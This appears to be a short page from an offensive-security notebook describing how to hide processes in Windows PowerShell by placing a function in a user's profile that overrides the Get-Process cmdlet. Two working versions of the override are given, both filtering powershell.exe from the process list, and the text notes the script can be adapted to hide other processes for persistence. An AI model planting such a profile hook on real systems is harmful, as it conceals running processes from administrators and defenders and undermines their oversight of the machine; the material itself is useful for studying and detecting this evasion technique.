Hide processes from Get-Process

In Powershell Basics we talked about PowerShell profiles. It's possible to overwrite the original functionality of a cmdlet call with a custom one by adding a script to a profile.

The idea is to replace the normal Get-Process function to print out all the processes except the powershell.exe entries; the script can be modified to hide different processes for persistence.

$Function = Get-Command Get-Process

function Get-Process {
	param(
		$Name,
		$Id,
		$InputObject,
		$IncludeUserName,
		$ComputerName,
		$Module,
		$FileVersionInfo
	)
	$Function @PSBoundParameters | Where-Object {$_.ProcessName -notmatch 'powershell'}
}
function Get-Process {
	param(
		$Name,
		$Id,
		$InputObject,
		$IncludeUserName,
		$ComputerName,
		$Module,
		$FileVersionInfo
	)
	
	$Function = $ExecutionContext.InvokeCommand.GetCommand('Microsoft.PowerShell.Management\Get-Process', [System.Management.Automation.CommandTypes]::Cmdlet)
	& $Function @PSBoundParameters | Where-Object {$_.ProcessName -notmatch 'powershell'}
}
PreviousGroup processes by user with WMINextMalware re-purposing with PowerShell reflection

Last updated